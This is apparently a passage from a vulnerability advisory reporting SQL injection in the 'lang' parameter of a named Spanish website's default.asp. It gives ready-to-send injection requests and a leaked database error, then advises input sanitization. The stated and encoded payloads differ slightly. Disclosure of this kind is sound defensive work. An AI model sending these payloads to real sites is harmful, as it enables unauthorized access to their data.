PROOF OF CONCEPT ------------------------- ##Blind SQLInjection Affected items /default.asp Attack details URL encoded GET input lang was set to -1' or '3'='3 GET /default.asp?lang=-1%27%20or%204%20%3d%20%275 HTTP/1.1 http://www.tesoweb.es/default.asp?lang=-1%27%20or%204%20%3d%20%275 ##SQLinjection Affected items /default.asp Attack details URL encoded GET input lang was set to 1' Error message found: <font face="Arial" size=2>Syntax error in string in query expression '((idioma = '1'') and (activa = True)) order by fecha desc'.</font> GET /default.asp?lang=1%27 HTTP/1.1 http://www.tesoweb.es/default.asp?lang=1%27 IV SOLUTION ------------------------ The script should filter metacharacters from user input. It's absolutely vital to sanitize user inputs to insure that they do not contain dangerous codes, whether to the SQL server or to HTML itself. One's first idea is to strip out "bad stuff", such as quotes or semicolons or escapes, but this is a misguided attempt. Though it's easy to point out some dangerous characters, it's harder to point to all of them. V.
